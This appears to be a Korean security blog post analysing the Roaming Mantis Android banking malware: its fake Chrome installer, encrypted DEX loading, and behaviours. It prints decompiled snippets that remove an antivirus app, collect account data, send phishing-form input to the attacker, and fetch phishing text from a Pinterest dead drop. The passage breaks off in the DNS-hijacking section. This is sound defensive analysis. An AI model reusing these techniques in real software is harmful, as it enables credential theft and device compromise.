해부학2023-11-15T10:00:00+09:002023-11-15T10:00:00+09:00http://ufo.stealien.com/2023-11-15/Android-malware-%EC%82%AC%EB%A7%88%EA%B7%80-%ED%95%B4%EB%B6%80%ED%95%99-ko<h1 id="android-malware--사마귀-해부학">Android Malware : 사마귀 해부학</h1> + +<p><br /></p> + +<p><strong>목차</strong><br /> +—————————————</p> +<ol> + <li><strong>Intro</strong></li> + <li><strong>Roaming Mantis?</strong></li> + <li><strong>Analysis</strong> + <ol> + <li><strong>Download &amp; Install</strong></li> + <li><strong>Dynamic Dex Loading</strong></li> + <li><strong>Behavior Analysis</strong></li> + </ol> + </li> + <li><strong>Outro</strong></li> +</ol> + +<p><br /></p> + +<h1 id="1-intro">1. Intro</h1> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/19.png" alt="19.png" /></p> + +<p>이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 … 이 문자는 실제로 악성 앱이 설치됩니다.</p> + +<p>이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다.</p> + +<hr /> + +<h1 id="2-roaming-mantis">2. Roaming Mantis?</h1> + +<p>분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는..</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/0.png" alt="0.png" /></p> + +<p>Android Malware인 <strong>Roaming Mantis</strong>였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 <strong>취약한 공용 라우터를 장악하여 DNS 서버를 변조</strong>(<strong>DNS Hijacking</strong>)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다.</p> + +<p>가령, <code class="language-plaintext highlighter-rouge">google.com</code>으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 사용자를 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다.</p> + +<p>이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다.</p> + +<p>또한 <strong>Wroba계열의 Mobile banking Trojan</strong>을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다.</p> + +<p>출처 : <a href="https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers">https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers</a></p> + +<hr /> + +<h1 id="3-analysis">3. Analysis</h1> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/2.png" alt="2.png" /></p> + +<p>분석 Flow Chart입니다.</p> + +<p>각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다.</p> + +<h2 id="1-download--install">1) Download &amp; Install</h2> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/3.png" alt="3.png" /></p> + +<p>문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다.</p> + +<p>Download를 진행하면 <code class="language-plaintext highlighter-rouge">chrome.apk</code> 라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/4.png" alt="4.png" /></p> + +<p>frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다.</p> + +<p>이 중 <code class="language-plaintext highlighter-rouge">rbj.xnmp.gjga.ucms</code>가 악성 앱, <code class="language-plaintext highlighter-rouge">com.android.chrome</code>이 진짜 chrome입니다.</p> + +<h2 id="2-dynamic-dex-loading">2) Dynamic DEX Loading</h2> + +<p>Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다.</p> + +<p>주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/5.png" alt="5.png" /></p> + +<p><br /></p> + +<p>① <strong>Encrypted DEX Loading</strong></p> + +<p>가장 먼저 실행되는 것은 <code class="language-plaintext highlighter-rouge">ImApplication.c("rrkf")</code> 로, <code class="language-plaintext highlighter-rouge">rrkf</code>를 인자로 <code class="language-plaintext highlighter-rouge">wo.pi</code> method를 호출합니다.</p> + +<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// str = "rrkf"</span> +<span class="kr">private</span> <span class="k">void</span> <span class="nx">c</span><span class="p">(</span><span class="nb">String</span> <span class="nx">str</span><span class="p">)</span> <span class="p">{</span> + <span class="nx">b</span><span class="p">(</span><span class="nx">str</span><span class="p">,</span> <span class="nx">wo</span><span class="p">.</span><span class="nx">pi</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">str</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="dl">""</span><span class="p">));</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">Java_n_wo_pi()</code> 함수는 <code class="language-plaintext highlighter-rouge">rrkf</code>를 인자로 받아, <code class="language-plaintext highlighter-rouge">rrkf/lqcttjs</code> 경로를 완성합니다.</p> + +<p>완성한 경로를 <code class="language-plaintext highlighter-rouge">getAssets()</code> 함수의 인자로 사용하여, <code class="language-plaintext highlighter-rouge">assets</code> 폴더 하위의 <code class="language-plaintext highlighter-rouge">rrkf/1qcttjs</code> 파일 내용을 가져옵니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// v7 = rrkf/1qcttjs</span> +<span class="c1">// v10 = getAssets()</span> +<span class="c1">// v13 = open(Ljava/lang/String;)</span> +<span class="n">v19</span> <span class="o">=</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallObjectMethod</span><span class="o">(</span><span class="n">v7</span><span class="o">,</span> <span class="n">v10</span><span class="o">,</span> <span class="n">v13</span><span class="o">);</span> +</code></pre></div></div> + +<p>실제로 <code class="language-plaintext highlighter-rouge">assets</code> Directory 에는 아래와 같이 <code class="language-plaintext highlighter-rouge">rrkf/1qcttjs</code> 경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/6.png" alt="6.png" /></p> + +<p><br /></p> + +<p>② <strong>Decrypt DEX</strong></p> + +<p>따라서 <code class="language-plaintext highlighter-rouge">Java_n_wo_pi()</code> 내부에는 가져온 <code class="language-plaintext highlighter-rouge">1qcttjs</code> 의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 <code class="language-plaintext highlighter-rouge">wo.pi</code> 는 Dectyped DEX 내용을 return 합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="o">(</span> <span class="mi">1</span> <span class="o">)</span> +<span class="o">{</span> + <span class="n">v49</span> <span class="o">=</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallIntMethod</span><span class="o">(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v61</span><span class="o">,</span> <span class="n">v21</span><span class="o">,</span> <span class="n">v48</span><span class="o">);</span> <span class="c1">// 1. 암호화된 파일 내용 read</span> + <span class="k">if</span> <span class="o">(</span> <span class="n">v49</span> <span class="o">&amp;</span> <span class="mh">0x80000000</span> <span class="o">)</span> <span class="c1">// 3. 복호화가 끝났을경우</span> + <span class="o">{</span> + <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallVoidMethod</span><span class="o">(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v61</span><span class="o">,</span> <span class="n">v59</span><span class="o">);</span> <span class="c1">// close(), 4. 읽기 종료</span> + <span class="o">...</span> + <span class="k">if</span> <span class="o">(</span> <span class="n">v64</span> <span class="o">)</span> + <span class="o">{</span> + <span class="n">v65</span> <span class="o">=</span> <span class="n">v64</span><span class="o">;</span> <span class="c1">// 5. 복호화 된 내용 저장</span> + <span class="n">operator</span> <span class="nf">delete</span><span class="o">(</span><span class="n">v64</span><span class="o">);</span> + <span class="o">}</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> + <span class="n">v50</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(</span><span class="n">__fastcall</span> <span class="o">**)(</span><span class="n">__int64</span><span class="o">,</span> <span class="n">__int64</span><span class="o">,</span> <span class="n">_QWORD</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">v24</span> <span class="o">+</span> <span class="mi">1472L</span><span class="no">L</span><span class="o">))(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v48</span><span class="o">,</span> <span class="mi">0L</span><span class="no">L</span><span class="o">);</span> <span class="c1">// 2. 복호화 진행 (1로 다시 이동)</span> + <span class="o">...</span> +<span class="o">}</span> +</code></pre></div></div> + +<p><br /></p> + +<p><strong>③ Save Dynamic DEX</strong></p> + +<p>복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 <code class="language-plaintext highlighter-rouge">ImApplication.e()</code> method에서 확인할 수 있습니다. <code class="language-plaintext highlighter-rouge">e</code>는 <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 와 복호화된 파일 내용을 인자로 받아, <code class="language-plaintext highlighter-rouge">wo.or</code> 을 호출합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="nc">Object</span> <span class="nf">e</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">,</span> <span class="nc">Object</span> <span class="n">obj</span><span class="o">)</span> <span class="o">{</span> + <span class="c1">//str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b"</span> + <span class="c1">//obj = 복호화한 dex파일</span> + <span class="k">return</span> <span class="n">wo</span><span class="o">.</span><span class="na">or</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="n">obj</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">Java_n_wo_or()</code> 에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v7</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(**)(</span><span class="kt">void</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">1472L</span><span class="no">L</span><span class="o">))();</span> <span class="c1">// 복호화 DEX Byte array</span> +<span class="n">v8</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(</span><span class="n">__fastcall</span> <span class="o">**)(</span><span class="n">__int64</span><span class="o">,</span> <span class="n">__int64</span><span class="o">,</span> <span class="n">_QWORD</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">v6</span> <span class="o">+</span> <span class="mi">1352L</span><span class="no">L</span><span class="o">))(</span><span class="n">v6</span><span class="o">,</span> <span class="n">v4</span><span class="o">,</span> <span class="mi">0L</span><span class="no">L</span><span class="o">);</span> <span class="c1">// /data/user/0/rbj.xnpm.gjga.ucms/files/b</span> +<span class="o">...</span> +<span class="n">fwrite</span><span class="o">(</span><span class="n">v7</span><span class="o">,</span> <span class="n">v10</span><span class="o">,</span> <span class="mi">1L</span><span class="no">L</span><span class="o">,</span> <span class="n">v9</span><span class="o">);</span> <span class="c1">// 해당 경로에 DEX파일 내용 작성</span> +</code></pre></div></div> + +<p><strong>따라서 복호화된 DEX 파일은, <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 경로에 저장되게 됩니다.</strong></p> + +<p><br /></p> + +<p><strong>④ Load Class</strong></p> + +<p><code class="language-plaintext highlighter-rouge">ImApplication</code> 에서 가장 마지막에 실행되는 a method입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">a</span><span class="o">(</span><span class="nc">Object</span> <span class="n">obj</span><span class="o">)</span> <span class="o">{</span> + <span class="c1">// obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b)</span> + <span class="c1">// wo.ls(1) = com.Loader</span> + <span class="nc">Class</span> <span class="n">cls</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Class</span><span class="o">)</span> <span class="n">wo</span><span class="o">.</span><span class="na">kw</span><span class="o">(</span><span class="n">wo</span><span class="o">.</span><span class="na">ls</span><span class="o">(</span><span class="mi">1</span><span class="o">),</span> <span class="n">obj</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">0L</span><span class="o">,</span> <span class="s">""</span><span class="o">,</span> <span class="kc">true</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">b</span> <span class="o">=</span> <span class="n">cls</span><span class="o">;</span> + <span class="c1">// wo.iz = 인자를 create() 함</span> + <span class="n">a</span> <span class="o">=</span> <span class="n">wo</span><span class="o">.</span><span class="na">iz</span><span class="o">(</span><span class="n">cls</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">wo.iz</code> 는 인자를 create() 하므로, 인자로 들어가는 <code class="language-plaintext highlighter-rouge">cls</code> 즉, <code class="language-plaintext highlighter-rouge">wo.kw</code> 의 내용을 보아야 합니다. <code class="language-plaintext highlighter-rouge">wo.kw</code> 는 아래의 코드로 동작을 요약할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// v7 = loadClass(com.Loader)</span> +<span class="k">return</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallObjectMethod</span><span class="o">(</span><span class="n">v5</span><span class="o">,</span> <span class="n">v4</span><span class="o">,</span> <span class="n">v7</span><span class="o">);</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">locaClass()</code> method에 인자로 들어간 <code class="language-plaintext highlighter-rouge">com.Loader</code> Class를 호출합니다. 이렇게 <code class="language-plaintext highlighter-rouge">b</code> 파일의 <code class="language-plaintext highlighter-rouge">com.Loaser</code> class를 인자로 받은 <code class="language-plaintext highlighter-rouge">wo.iz</code> 는 이를 <code class="language-plaintext highlighter-rouge">create()</code> 하며 Dynamic DEX Loading은 끝이 납니다.</p> + +<p><strong>그럼 이제 앱을 실행한 후, <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.</strong></p> + +<h2 id="3-behavior-analysis">3) Behavior Analysis</h2> + +<p>이전 단계에서 획득한 <code class="language-plaintext highlighter-rouge">b</code> 파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다.</p> + +<p>모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다.</p> + +<p><strong>이 중 Roaming Mantis의 핵심 동작(DNS 조작)은 ⑤ 공유기 장악 부분을 보시면 되겠습니다.</strong></p> + +<p><strong>① A사 백신 삭제</strong></p> + +<p><strong>② 국내 앱 계정 정보 수집</strong></p> + +<p><strong>③ Phishing 창 생성 #1</strong></p> + +<p><strong>④ Phishing 창 생성 #2</strong></p> + +<p><strong>⑤ 공유기 장악 (DNS Hijacking)</strong></p> + +<p><strong>⑥ C2 서버 - 공격자 서버 정보 파싱</strong></p> + +<p><strong>⑦ SMS 관련 동작</strong></p> + +<p><strong>⑧ 기타 동작</strong></p> + +<hr /> + +<p><strong>① A사 백신 삭제</strong></p> + +<p>대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다.</p> + +<p>while문을 사용하여 설치된 Package명 중, 백신의 Package명(<code class="language-plaintext highlighter-rouge">com.a**lab.v*</code>)과 같은 게 있을 경우 삭제하도록 하고 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span><span class="o">(!</span><span class="n">d</span><span class="o">.</span><span class="na">n</span><span class="o">.</span><span class="na">l</span><span class="o">.</span><span class="na">g</span><span class="o">(((</span><span class="nc">String</span><span class="o">)</span><span class="n">v1</span><span class="o">),</span> <span class="s">"com.a**lab.v3"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">));</span> + <span class="n">v2</span> <span class="o">=</span> <span class="n">v1</span><span class="o">;</span> <span class="c1">// 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장</span> +<span class="nl">label_14:</span> + <span class="nc">String</span> <span class="n">v2_1</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v2</span><span class="o">;</span> + <span class="k">if</span><span class="o">(</span><span class="n">v2_1</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// 2. 존재한다면, DELETE하는 Activity 실행</span> + <span class="nc">Intent</span> <span class="n">v0_1</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Intent</span><span class="o">();</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">setAction</span><span class="o">(</span><span class="s">"android.intent.action.DELETE"</span><span class="o">);</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">setData</span><span class="o">(</span><span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"package:"</span> <span class="o">+</span> <span class="n">v2_1</span><span class="o">));</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">addFlags</span><span class="o">(</span><span class="mh">0x10000000</span><span class="o">);</span> + <span class="n">arg8</span><span class="o">.</span><span class="na">startActivity</span><span class="o">(</span><span class="n">v0_1</span><span class="o">);</span> <span class="c1">// 안랩을 삭제하는 activity를 넣음</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>실행된 Activity는 아래와 같이 보입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/7.png" alt="7.png" /></p> + +<hr /> + +<p><strong>② 국내 앱 계정 정보 수집</strong></p> + +<p>아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 기기에서 관리중인 계정 정보 수집</span> +<span class="nc">Account</span><span class="o">[]</span> <span class="n">v0_4</span> <span class="o">=</span> <span class="o">((</span><span class="nc">AccountManager</span><span class="o">)</span><span class="n">v0_3</span><span class="o">).</span><span class="na">getAccounts</span><span class="o">();</span> + +<span class="c1">// 2. 계정과 종류를 수집</span> +<span class="n">v10_1</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">v0_4</span><span class="o">[</span><span class="n">v12</span><span class="o">].</span><span class="na">name</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">v0_4</span><span class="o">[</span><span class="n">v12</span><span class="o">].</span><span class="na">type</span><span class="o">);</span> +</code></pre></div></div> + +<p>수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/8.png" alt="8.png" /></p> + +<p>아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v9</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"Happy*****:"</span><span class="o">);</span> <span class="c1">// 계정이 존재한다면, comment와 함께 저장</span> +</code></pre></div></div> + +<hr /> + +<p><strong>③ Phishing 창 생성 #1</strong></p> + +<p><code class="language-plaintext highlighter-rouge">com.Loader</code> Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/9.png" alt="9.png" /></p> + +<p>한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 <code class="language-plaintext highlighter-rouge">127.0.0.1:Random_port</code> 로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 <code class="language-plaintext highlighter-rouge">%%ACCOUNT%%</code> 부분은 기기에 저장된 gmail 계정이 출력됩니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/10.png" alt="10.png" /></p> + +<p>전달 받은 값은 <code class="language-plaintext highlighter-rouge">127.0.0.1:port/submit</code> 으로 전달, Response 값을 <code class="language-plaintext highlighter-rouge">setMyInfo</code> method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다.</p> + +<ul> + <li>Json-RPC는 원격 프로시저 호출을 위한 프로토콜입니다. 서버와 경량의 데이터 교환을 수행하는데, 이 때 JOSN 형식을 사용합니다.</li> +</ul> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v8_1</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"name"</span><span class="p">);</span> +<span class="n">v8_2</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"first_name"</span><span class="p">)));</span> +<span class="n">String</span> <span class="n">v0</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"middle_name"</span><span class="p">);</span> +<span class="n">v8_2</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"last_name"</span><span class="p">)));</span> +<span class="n">String</span> <span class="n">v2_1</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"date"</span><span class="p">);</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx1"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx2"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx3"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx4"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">"/"</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"ss1"</span><span class="p">));</span> + +<span class="c1">// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료</span> +<span class="n">String</span> <span class="n">v0_1</span> <span class="o">=</span> <span class="s">"JSON:"</span> <span class="o">+</span> <span class="n">new</span> <span class="nf">JSONObject</span><span class="p">(</span><span class="n">v7</span><span class="p">).</span><span class="n">toString</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> +<span class="n">this</span><span class="p">.</span><span class="n">c</span><span class="p">.</span><span class="n">g</span><span class="p">.</span><span class="n">f</span><span class="p">(</span><span class="s">"setMyInfo"</span><span class="p">,</span> <span class="n">new</span> <span class="n">String</span><span class="p">[]{</span><span class="n">v8_1</span><span class="p">,</span> <span class="n">v0_1</span><span class="p">}).</span><span class="n">f</span><span class="p">(</span><span class="n">new</span> <span class="n">Loader</span><span class="p">.</span><span class="n">t0</span><span class="p">.</span><span class="n">a</span><span class="p">(</span><span class="n">this</span><span class="p">,</span> <span class="n">v7</span><span class="p">),</span> <span class="n">Loader</span><span class="p">.</span><span class="n">t0</span><span class="p">.</span><span class="n">b</span><span class="p">.</span><span class="n">a</span><span class="p">);</span> +<span class="err">}</span> +</code></pre></div></div> + +<hr /> + +<p>④ <strong>Phishing 창 생성 #2</strong></p> + +<p>또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 <code class="language-plaintext highlighter-rouge">zc1</code>. <code class="language-plaintext highlighter-rouge">zc</code>. <code class="language-plaintext highlighter-rouge">scan</code> 일 경우 수행됩니다. 사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 피싱 페이지를 생성합니다. 아래는 일본의 통신사인 <code class="language-plaintext highlighter-rouge">domoco</code>를 사용 할 경우의 예시입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">else</span> <span class="k">if</span><span class="o">(</span><span class="n">l</span><span class="o">.</span><span class="na">j</span><span class="o">(</span><span class="n">v0_3</span><span class="o">,</span> <span class="s">"docomo"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> <span class="c1">// 1. domoco 통신사일 경우</span> + <span class="n">b</span> <span class="n">v0_6</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">h</span><span class="o">(</span><span class="s">"https://www.pinterest.com/catogreggex11/"</span><span class="o">);</span> + <span class="n">v7</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v0_6</span><span class="o">.</span><span class="na">a</span><span class="o">();</span> + <span class="n">v0_5</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v0_6</span><span class="o">.</span><span class="na">b</span><span class="o">();</span> <span class="c1">// 2. 위의 URL에서 info 정보 수집</span> + <span class="n">v1</span> <span class="o">=</span> <span class="n">i</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">v0_5</span><span class="o">,</span> <span class="s">""</span><span class="o">)</span> <span class="o">?</span> <span class="s">"【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。"</span> <span class="o">:</span> <span class="c1">// 3. 수집이 안 될 경우를 대비한 피싱 문구</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>v0_6 변수를 보면, <code class="language-plaintext highlighter-rouge">https://www.pinterest.com/catogreggex11/</code>의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 <code class="language-plaintext highlighter-rouge">catogreggex11</code> 계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/11.png" alt="11.png" /></p> + +<p>info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, <code class="language-plaintext highlighter-rouge">----</code> 를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다.</p> + +<hr /> + +<p><strong>⑤ 공유기 장악 (DNS Hijacking)</strong></p> + +<p>Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다.</p> + +<p>모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자 DHCP Server의 IP 주소를 수집합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span 